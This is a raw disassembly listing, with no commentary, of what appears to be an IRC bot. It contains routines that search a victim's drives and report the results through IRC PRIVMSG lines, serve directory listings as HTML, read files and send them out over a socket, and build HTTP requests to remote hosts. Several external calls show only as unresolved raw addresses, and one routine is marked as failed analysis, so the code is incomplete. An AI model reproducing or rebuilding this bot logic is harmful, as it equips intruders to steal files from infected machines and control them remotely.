		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_40FFF0
		pop	ecx
		pop	ecx
		jmp	short loc_40F692
; ---------------------------------------------------------------------------


loc_40F675:				; CODE XREF: sub_40F530+12Dj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_40F96A
		add	esp, 10h


loc_40F692:				; CODE XREF: sub_40F530+143j
		push	[ebp+var_44C]
		call	dword_4D08BC
		push	[ebp+var_B4]
		call	sub_40B412
		pop	ecx
		push	edi
		nop
		call	near ptr 26F0000h
		pop	edi
		pop	esi
sub_40F530	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F6B3	proc near		; CODE XREF: sub_40F0D5+3C0p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_41B590
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_40F6E9
		push	eax
		push	offset aS_3	; "\\%s"
		jmp	short loc_40F6F2
; ---------------------------------------------------------------------------


loc_40F6E9:				; CODE XREF: sub_40F6B3+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_1	; "%s"


loc_40F6F2:				; CODE XREF: sub_40F6B3+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_41AFE0
		test	eax, eax
		pop	ecx
		jbe	short loc_40F78D
		mov	[ebp+arg_8], 2


loc_40F71D:				; CODE XREF: sub_40F6B3+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_40F75D
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_40F75D
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_40F75D
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_40F75D
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_40F777
; ---------------------------------------------------------------------------


loc_40F75D:				; CODE XREF: sub_40F6B3+7Aj
					; sub_40F6B3+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_40F76D
		push	5Ch
		pop	eax
		jmp	short loc_40F770
; ---------------------------------------------------------------------------


loc_40F76D:				; CODE XREF: sub_40F6B3+B3j
		movsx	eax, al


loc_40F770:				; CODE XREF: sub_40F6B3+B8j
		mov	[ebp+ebx+var_210], al


loc_40F777:				; CODE XREF: sub_40F6B3+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_41AFE0
		cmp	esi, eax
		pop	ecx
		jb	short loc_40F71D


loc_40F78D:				; CODE XREF: sub_40F6B3+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset dword_42ED6C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_314]
		push	offset asc_42F340 ; "\n"
		push	eax
		call	sub_41C0F4
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		call	near ptr 26A0129h
		nop
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_40F7DE
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F7E1
		push	[ebp+arg_0]
		jmp	loc_40F861
; ---------------------------------------------------------------------------


loc_40F7DE:				; CODE XREF: sub_40F6B3+11Cj
		mov	[ebp+var_4], esi


loc_40F7E1:				; CODE XREF: sub_40F6B3+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_40F7EE
		mov	[ebp+var_4], esi


loc_40F7EE:				; CODE XREF: sub_40F6B3+136j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_40F86C
		cmp	[ebp+arg_C], edi
		jz	short loc_40F860
		lea	eax, [ebp+var_314]
		push	offset asc_439398 ; "*"
		push	eax
		call	sub_41BEC0
		pop	ecx
		lea	eax, [ebp+var_314]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_4100AD
		add	esp, 0Ch
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_41B886
		or	[ebp+var_330], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		mov	[ebp+var_31C], esi
		jmp	short loc_40F8BB
; ---------------------------------------------------------------------------


loc_40F860:				; CODE XREF: sub_40F6B3+152j
		push	ebx


loc_40F861:				; CODE XREF: sub_40F6B3+126j
		call	dword_4D08BC
		jmp	loc_40F963
; ---------------------------------------------------------------------------


loc_40F86C:				; CODE XREF: sub_40F6B3+14Dj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		nop
		call	near ptr 27107FCh
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40F8BB
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41B886
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		nop
		call	near ptr 2740C4Bh
		push	esi
		mov	[ebp+var_330], eax
		nop
		call	near ptr 267093Fh


loc_40F8BB:				; CODE XREF: sub_40F6B3+1ABj
					; sub_40F6B3+1D6j
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_439364
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_40B0F6
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_443764[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_40F530
		push	edi
		push	edi
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_443774[ecx], eax
		jz	short loc_40F935


loc_40F923:				; CODE XREF: sub_40F6B3+280j
		cmp	[ebp+var_318], edi
		jnz	short loc_40F963
		push	5
		nop
		call	near ptr 2680E26h
		jmp	short loc_40F923
; ---------------------------------------------------------------------------


loc_40F935:				; CODE XREF: sub_40F6B3+26Ej
		push	ebx
		call	dword_4D08BC
		nop
		call	near ptr 2690A97h
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_43932C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_4151AC
		add	esp, 10h


loc_40F963:				; CODE XREF: sub_40F6B3+1B4j
					; sub_40F6B3+276j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40F6B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F96A	proc near		; CODE XREF: sub_401ACD+777Ap
					; sub_40F530+15Ap

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_41B590
		mov	edi, [ebp+arg_0]
		push	offset asc_42F340 ; "\n"
		push	edi
		call	sub_41C0F4
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_40F9C9
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	loc_40FAC8
; ---------------------------------------------------------------------------


loc_40F9C9:				; CODE XREF: sub_40F96A+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_40FAAE
		call	sub_41AFE0
		pop	ecx
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4D0874
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4D0874
		push	edi
		call	sub_41AFE0
		pop	ecx
		mov	byte ptr [eax+edi], 2Ah
		push	3Ch
		push	96h
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 18h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4D0874
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_40FAC8
; ---------------------------------------------------------------------------


loc_40FAAE:				; CODE XREF: sub_40F96A+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h


loc_40FAC8:				; CODE XREF: sub_40F96A+5Aj
					; sub_40F96A+142j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4D0874
		cmp	[ebp+arg_C], ebx
		jz	short loc_40FB63
		push	[ebp+arg_C]
		call	sub_41AFE0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_40FB63
		push	[ebp+arg_C]
		call	sub_41AFE0
		sub	eax, 3
		pop	ecx
		jz	short loc_40FB14


loc_40FB08:				; CODE XREF: sub_40F96A+1A8j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_40FB14
		dec	eax
		jnz	short loc_40FB08


loc_40FB14:				; CODE XREF: sub_40F96A+19Cj
					; sub_40F96A+1A5j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4D0874


loc_40FB63:				; CODE XREF: sub_40F96A+180j
					; sub_40F96A+18Ej
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		nop
		call	near ptr 25D0000h
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		nop
		call	near ptr 2770000h
		test	eax, eax
		jz	loc_40FF53
		mov	edi, 1FFh


loc_40FB8F:				; CODE XREF: sub_40F96A+5E3j
		cmp	[ebp+var_388], ebx
		jz	loc_40FF3B
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FF3B
		lea	eax, [ebp+var_35C]
		push	offset a_	; "."
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FF3B
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		call	near ptr 2760000h
		nop
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		nop
		call	near ptr 275078Dh
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_40FC04
		mov	ecx, offset aAm	; "AM"


loc_40FC04:				; CODE XREF: sub_40F96A+293j
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_40FC10
		sub	eax, 0Ch


loc_40FC10:				; CODE XREF: sub_40F96A+2A1j
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_41B886
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_40FDB3
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FC84
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		jmp	loc_40FEFC
; ---------------------------------------------------------------------------


loc_40FC84:				; CODE XREF: sub_40F96A+2E0j
		cmp	[ebp+arg_C], ebx
		jz	loc_40FD6E
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4D0874
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_0	; "%s%s/"
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4D0874
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41AFE0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_40FD24
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_40FD29
; ---------------------------------------------------------------------------


loc_40FD24:				; CODE XREF: sub_40F96A+3B1j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_40FD29:				; CODE XREF: sub_40F96A+3B8j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4D0874
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40FEFD
; ---------------------------------------------------------------------------


loc_40FD6E:				; CODE XREF: sub_40F96A+31Dj
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	loc_40FF0C
; ---------------------------------------------------------------------------


loc_40FDB3:				; CODE XREF: sub_40F96A+2D4j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FDF2
		push	ebx
		push	[ebp+var_368]
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		push	esi


loc_40FDDE:				; CODE XREF: sub_40F96A+577j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		jmp	loc_40FF0C
; ---------------------------------------------------------------------------


loc_40FDF2:				; CODE XREF: sub_40F96A+44Fj
		cmp	[ebp+arg_C], ebx
		jz	loc_40FEE6
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4D0874
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset dword_42ED6C
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4D0874
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41AFE0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_40FE92
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_40FE97
; ---------------------------------------------------------------------------


loc_40FE92:				; CODE XREF: sub_40F96A+51Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_40FE97:				; CODE XREF: sub_40F96A+526j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4D0874
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40FDDE
; ---------------------------------------------------------------------------


loc_40FEE6:				; CODE XREF: sub_40F96A+48Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"


loc_40FEFC:				; CODE XREF: sub_40F96A+315j
		push	esi


loc_40FEFD:				; CODE XREF: sub_40F96A+3FFj
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41B980
		add	esp, 18h


loc_40FF0C:				; CODE XREF: sub_40F96A+444j
					; sub_40F96A+483j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4D0874
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FF3B
		push	7D0h
		nop
		call	near ptr 2680E26h


loc_40FF3B:				; CODE XREF: sub_40F96A+22Bj
					; sub_40F96A+246j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		call	near ptr 2770000h
		nop
		test	eax, eax
		jnz	loc_40FB8F


loc_40FF53:				; CODE XREF: sub_40F96A+21Aj
		push	[ebp+arg_0]
		nop
		call	near ptr 2750000h
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FF96
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_40FFCA
; ---------------------------------------------------------------------------


loc_40FF96:				; CODE XREF: sub_40F96A+5F5j
		cmp	[ebp+arg_C], ebx
		jz	short loc_40FFB0
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_40FFCA
; ---------------------------------------------------------------------------


loc_40FFB0:				; CODE XREF: sub_40F96A+62Fj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_41B886
		add	esp, 10h


loc_40FFCA:				; CODE XREF: sub_40F96A+62Aj
					; sub_40F96A+644j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4D0874
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40F96A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FFF0	proc near		; CODE XREF: sub_40F530+13Cp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		nop
		call	near ptr 27107FCh
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_4100A8
		push	esi
		push	ebx
		nop
		call	near ptr 2740C4Bh
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_4100A1


loc_410035:				; CODE XREF: sub_40FFF0+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]


loc_41004D:				; DATA XREF: ___:0043D320o
					; ___:0043D334o
		jbe	short loc_410052
		mov	edi, [ebp+arg_4]


loc_410052:				; CODE XREF: sub_40FFF0:loc_41004Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		call	near ptr 2780000h
		nop
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 2710000h
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4D0874
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41009C
		call	dword_4D07B8
		cmp	eax, 2733h
		jnz	short loc_4100A1
		xor	eax, eax


loc_41009C:				; CODE XREF: sub_40FFF0+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_410035


loc_4100A1:				; CODE XREF: sub_40FFF0+43j
					; sub_40FFF0+A8j
		push	ebx
		call	near ptr 267093Fh
		nop


loc_4100A8:				; CODE XREF: sub_40FFF0+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40FFF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4100AD	proc near		; CODE XREF: sub_40F6B3+181p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_41AFE0
		test	eax, eax
		pop	ecx
		jbe	short loc_4100D6


loc_4100C0:				; CODE XREF: sub_4100AD+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_4100CA
		mov	byte ptr [esi+edi], 2Fh


loc_4100CA:				; CODE XREF: sub_4100AD+17j
		push	edi
		inc	esi
		call	sub_41AFE0
		cmp	esi, eax
		pop	ecx
		jb	short loc_4100C0


loc_4100D6:				; CODE XREF: sub_4100AD+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4100AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4100DB	proc near		; CODE XREF: sub_401ACD+5297p

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_4D0794
		push	6
		push	1
		push	2
		call	dword_4D08A4
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_4D0824
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40AAF9
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4D07CC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4101B8
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_410154
		mov	eax, offset dword_4429D8


loc_410154:				; CODE XREF: sub_4100DB+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_4D0874
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4D083C
		pop	esi


loc_4101B8:				; CODE XREF: sub_4100DB+6Bj
		push	ebx
		call	dword_4D08BC
		call	dword_4D077C
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_41B886
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_4101F8
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_4101F8:				; CODE XREF: sub_4100DB+102j
		pop	edi
		pop	ebx
		leave
		retn
